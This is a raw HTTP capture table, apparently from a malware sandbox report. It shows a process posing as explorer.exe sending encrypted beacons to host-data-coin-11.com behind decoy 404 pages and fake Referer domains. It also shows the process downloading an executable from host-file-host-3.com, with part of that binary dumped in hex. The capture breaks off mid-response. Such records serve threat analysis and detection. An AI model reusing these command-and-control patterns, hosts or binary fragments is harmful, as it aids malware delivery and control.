Dec 1, 2021 09:14:04.442909002 CET	2855	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://luuqcbcy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 177 Host: host-data-coin-11.com
Dec 1, 2021 09:14:04.442936897 CET	2856	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 95 66 5d 02 c8 a1 c1 64 3a dc a8 1f Data Ascii: nIF}0?7XknwmDu$f]d:\k5S-CT9.1jWMGOt6*9KC^?UEimK01,i)9^66m7e&+
Dec 1, 2021 09:14:04.543385029 CET	2856	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49774	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:04.637927055 CET	2857	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pxptimk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 266 Host: host-data-coin-11.com
Dec 1, 2021 09:14:04.637963057 CET	2857	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 92 66 5d 02 c8 a1 c1 64 23 82 dd 13 Data Ascii: nIF}0?7XknwmDu$f]d#3r3)Xe"R?3sig<nm/&%G^9&\|Hjyd1GeI#vazLB37P$ v[E4EWCgY>e@M,_!KqH7A
Dec 1, 2021 09:14:04.740947008 CET	2858	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49775	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:06.034493923 CET	2859	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://smfbsrgxse.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 306 Host: host-data-coin-11.com
Dec 1, 2021 09:14:06.034523964 CET	2859	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 93 66 5d 02 c8 a1 c1 64 0f a6 c7 32 Data Ascii: nIF}0?7XknwmDu$f]d2,;1V%6GNxmzr eF1TH91fcI'w]ZOQ!_gp#j2POLom0(NElUFlX~\$%8f34 9
Dec 1, 2021 09:14:06.136996031 CET	2860	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49757	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:13:55.320594072 CET	1079	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nbriredl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 368 Host: host-data-coin-11.com
Dec 1, 2021 09:13:55.320620060 CET	1080	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 03 91 bd 29 Data Ascii: nIF}0?7XknwmDu$f]d)Eng"Y&+wli,s/eDfB&?(cShA> G8XU@*F%QaM-YXp6QN)c[Zhsec[i\M 7/v5c3
Dec 1, 2021 09:13:55.425843000 CET	1080	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:13:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 1b b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49776	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:06.227667093 CET	2860	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nabmhhv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 145 Host: host-data-coin-11.com
Dec 1, 2021 09:14:06.227684975 CET	2861	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 90 66 5d 02 c8 a1 c1 64 22 cd c6 79 Data Ascii: nIF}0?7XknwmDu$f]d"yjoqjr`c 2Q}GoVv\|htVF*\|U_MVd6.
Dec 1, 2021 09:14:06.335937023 CET	2861	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49777	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:06.425805092 CET	2862	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mdyfwsxro.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 336 Host: host-data-coin-11.com
Dec 1, 2021 09:14:06.425822020 CET	2863	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 91 66 5d 02 c8 a1 c1 64 29 b4 c2 19 Data Ascii: nIF}0?7XknwmDu$f]d)Zhk6([ FEIO:?,m+ZL\&P8N-.K[dA%oE+Pi%9pJ0?#x rR"J']pL#z`M
Dec 1, 2021 09:14:06.530718088 CET	2863	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 48 ec a0 8a 70 bc 57 da 4a d4 f6 2e 87 25 eb c3 94 58 23 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9HpWJ.%X#c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49778	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:06.886311054 CET	2864	OUT	GET /files/6096_1638289274_6885.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-file-host-3.com
Dec 1, 2021 09:14:06.968278885 CET	2865	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:06 GMT Content-Type: application/x-msdos-program Content-Length: 163328 Connection: close Last-Modified: Tue, 30 Nov 2021 16:21:14 GMT ETag: "27e00-5d203f23b200e" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 53 ec f2 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 42 01 00 00 ec 74 02 00 00 00 00 12 2a 00 00 00 10 00 00 00 60 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 76 02 00 04 00 00 78 5b 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 e8 01 00 78 00 00 00 00 b0 75 02 18 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 61 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 95 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 40 01 00 00 10 00 00 00 42 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7e 90 00 00 00 60 01 00 00 92 00 00 00 46 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 75 73 02 00 00 02 00 00 18 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 65 66 65 67 00 00 72 02 00 00 00 80 75 02 00 04 00 00 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 67 75 79 75 73 00 00 70 02 00 00 00 90 75 02 00 04 00 00 00 f4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 60 2e 76 65 6e 75 00 00 00 17 00 00 00 00 a0 75 02 00 02 00 00 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 60 2e 72 73 72 63 00 00 00 18 83 00 00 00 b0 75 02 00 84 00 00 00 fa 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 44 24 04 c2 04 00 81 00 40 36 ef c6 c3 55 8b ec 81 ec 2c 0c 00 00 8b 45 08 53 56 8b 30 8b 40 04 57 33 ff 81 3d 04 50 b5 02 ee 00 00 00 89 45 f8 75 09 57 57 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS_Bt*`@@vx[Dxua@`d.textP@B `.rdata~`F@@.data`us@.fefegru@@.guyuspu@`.venuu@`.rsrcu@@3D$@6U,ESV0@W3=PEuWW
Dec 1, 2021 09:14:06.968308926 CET	2866	IN	Data Raw: 57 ff 15 4c 60 41 00 a1 00 12 42 00 89 45 e8 a1 04 12 42 00 89 45 d8 8d 45 fc 89 7d fc c7 45 e4 b9 79 37 9e e8 a9 ff ff ff a1 08 12 42 00 81 45 fc e0 00 00 00 89 45 e0 a1 0c 12 42 00 89 45 dc c7 45 f0 20 00 00 00 c7 45 f4 02 00 00 00 83 45 f4 03 Data Ascii: WL`ABEBEE}Ey7BEEBEE EEPEuP@.u=L'BMQO.P6M]3E'u/EPWWW`AWWP$`AWPhDA8`AE)E%R]EUE
Dec 1, 2021 09:14:06.968326092 CET	2868	IN	Data Raw: fe ff ff a3 65 71 04 c7 85 20 ff ff ff b5 54 da 15 c7 45 a4 44 f0 df 54 c7 85 d8 fe ff ff cb 21 fa 62 c7 45 14 a8 21 fb 52 c7 45 2c 4f 6b 18 54 c7 45 60 d4 ad d9 5b c7 85 4c ff ff ff 04 f9 2e 00 c7 85 f4 fe ff ff d9 3a 80 0c c7 85 e0 fe ff ff a5 Data Ascii: eq TEDT!bE!RE,OkTE`[L.:r\|tAxEu,)EB(EP6D6E%b(uE[}(T*(lg1E)EX).B\|TH_GT
Dec 1, 2021 09:14:06.968338013 CET	2869	IN	Data Raw: 7a e6 6c c7 85 3c fe ff ff f2 31 c4 3f c7 45 a0 cf ac 99 49 c7 85 04 ff ff ff f3 ac 1f 7d c7 85 04 fe ff ff 1f fa ce 40 c7 45 e8 4b a9 9a 49 c7 85 9c fd ff ff 55 60 2b 70 c7 85 60 fd ff ff d0 f7 ca 2b c7 85 0c ff ff ff fb 1a 1c 05 c7 85 94 fe ff Data Ascii: zl<1?EI}@EKIU`+p`+,YPH}o~%Zj#YhEYXOxF+Pz6D\&EU;WP'dg=Dx
Dec 1, 2021 09:14:06.968359947 CET	2870	IN	Data Raw: e0 8b 45 e0 b8 4c e5 a3 38 f7 a5 2c fe ff ff 8b 85 2c fe ff ff 81 ad 2c fe ff ff 47 b8 1d 22 81 85 6c fd ff ff d1 35 c7 02 b8 92 58 f7 7d f7 a5 e4 fe ff ff 8b 85 e4 fe ff ff b8 41 56 76 5f f7 a5 e4 fe ff ff e8 9c f1 ff ff 33 ff 39 35 04 50 b5 02 Data Ascii: EL8,,,G"l5X}AVv_395Pv =PDuVXP,`AG;=Pr3P^u#VhAhA `AVVVH`AVVV`AG@\|3vuAd$\|j{_=PuVV`AVV`AVVVV`AOu
Dec 1, 2021 09:14:06.968374968 CET	2872	IN	Data Raw: 6a 0c 68 70 e5 41 00 e8 a7 0c 00 00 83 4d e4 ff 33 c0 8b 75 08 85 f6 0f 95 c0 85 c0 75 15 e8 3c 0c 00 00 c7 00 16 00 00 00 e8 df 0b 00 00 83 c8 ff eb 0d f6 46 0c 40 74 0d 83 66 0c 00 8b 45 e4 e8 b3 0c 00 00 c3 56 e8 8a 05 00 00 59 83 65 fc 00 56 Data Ascii: jhpAM3uu<F@tfEVYeV<YEEuVYUhaAd`AthaAP@`Atu]UuYuh`Aj- YjKYV"V"VV"V"Vw V
Dec 1, 2021 09:14:06.968386889 CET	2873	IN	Data Raw: 89 35 40 75 b5 02 e8 b7 2e 00 00 59 59 a3 20 65 b5 02 85 c0 75 05 6a 1a 58 5e c3 33 d2 b9 10 00 42 00 eb 05 a1 20 65 b5 02 89 0c 02 83 c1 20 83 c2 04 81 f9 90 02 42 00 7c ea 6a fe 5e 33 d2 b9 20 00 42 00 57 8b c2 c1 f8 05 8b 04 85 20 64 b5 02 8b Data Ascii: 5@u.YY eujX^3B e B\|j^3 BW dt;tu1 BB\|_3^N=hBt.5 eYUVuB;r"pBw+QNY V\|`A^]UE}P
Dec 1, 2021 09:14:06.968403101 CET	2875	IN	Data Raw: e8 94 01 00 00 83 c8 ff 5d c3 8b 40 10 5d c3 8b ff 55 8b ec 8b 45 08 a3 84 16 42 00 5d c3 8b ff 55 8b ec 81 ec 28 03 00 00 a1 a0 05 42 00 33 c5 89 45 fc 53 8b 5d 08 57 83 fb ff 74 07 53 e8 5a 34 00 00 59 83 a5 e0 fc ff ff 00 6a 4c 8d 85 e4 fc ff Data Ascii: ]@]UEB]U(B3ES]WtSZ4YjLjPd40ffffffEM0IM
Dec 1, 2021 09:14:06.968419075 CET	2876	IN	Data Raw: 8b ec 83 ec 1c 56 ff 75 08 8d 4d e4 e8 65 ff ff ff 8b 45 10 8b 75 0c 85 c0 74 02 89 30 85 f6 75 24 e8 8b fc ff ff c7 00 16 00 00 00 e8 2e fc ff ff 80 7d f0 00 74 07 8b 45 ec 83 60 70 fd 33 c0 e9 e0 01 00 00 83 7d 14 00 74 0c 83 7d 14 02 7c d0 83 Data Ascii: VuMeEut0u$.}tE`p3}t}\|}$eMSW~~EPjP:MBtG-uM+uGEOF$=u*0tE6<xt<XtE#
Dec 1, 2021 09:14:06.968436003 CET	2877	IN	Data Raw: 24 08 89 54 24 04 89 14 24 e8 d2 37 00 00 83 c4 10 dd 44 24 04 c3 90 cc cc cc cc 80 7a 0e 05 75 11 66 8b 9d 5c ff ff ff 80 cf 02 80 e7 fe b3 3f eb 04 66 bb 3f 13 66 89 9d 5e ff ff ff d9 ad 5e ff ff ff bb 6c 63 41 00 d9 e5 89 95 6c ff ff ff 9b dd Data Ascii: $T$$7D$zuf\?f?f^^lcAl`pa$#zuf\?f?f^^lcAl`pa`a$
Dec 1, 2021 09:14:07.025645018 CET	2879	IN	Data Raw: 91 42 00 00 59 83 65 fc 00 8b 07 f6 44 30 04 01 74 14 ff 75 10 ff 75 0c 53 e8 f6 fe ff ff 83 c4 0c 89 45 e4 eb 17 e8 12 f2 ff ff c7 00 09 00 00 00 e8 1a f2 ff ff 83 20 00 83 4d e4 ff c7 45 fc fe ff ff ff e8 0c 00 00 00 8b 45 e4 e8 85 f2 ff ff c3 Data Ascii: BYeD0tuuSE MEE]SBYUSVuF3u@t9FW>+~,WPVYP";uFyFN _Ff^[]UVuuV5Y/V\|YtF@t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49779	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:09.580408096 CET	3034	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kpgguo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 230 Host: host-data-coin-11.com
Dec 1, 2021 09:14:09.580466032 CET	3034	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 91 66 5d 02 c9 a1 c1 64 28 92 c1 20 Data Ascii: nIF}0?7XknwmDu$f]d( )u{cgY}#gQ$oc8Cg\|C4;F9<n-F- Ev<* M d b[![?3_\|gQ7ElYP9hGMgU].G
Dec 1, 2021 09:14:09.682729006 CET	3035	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 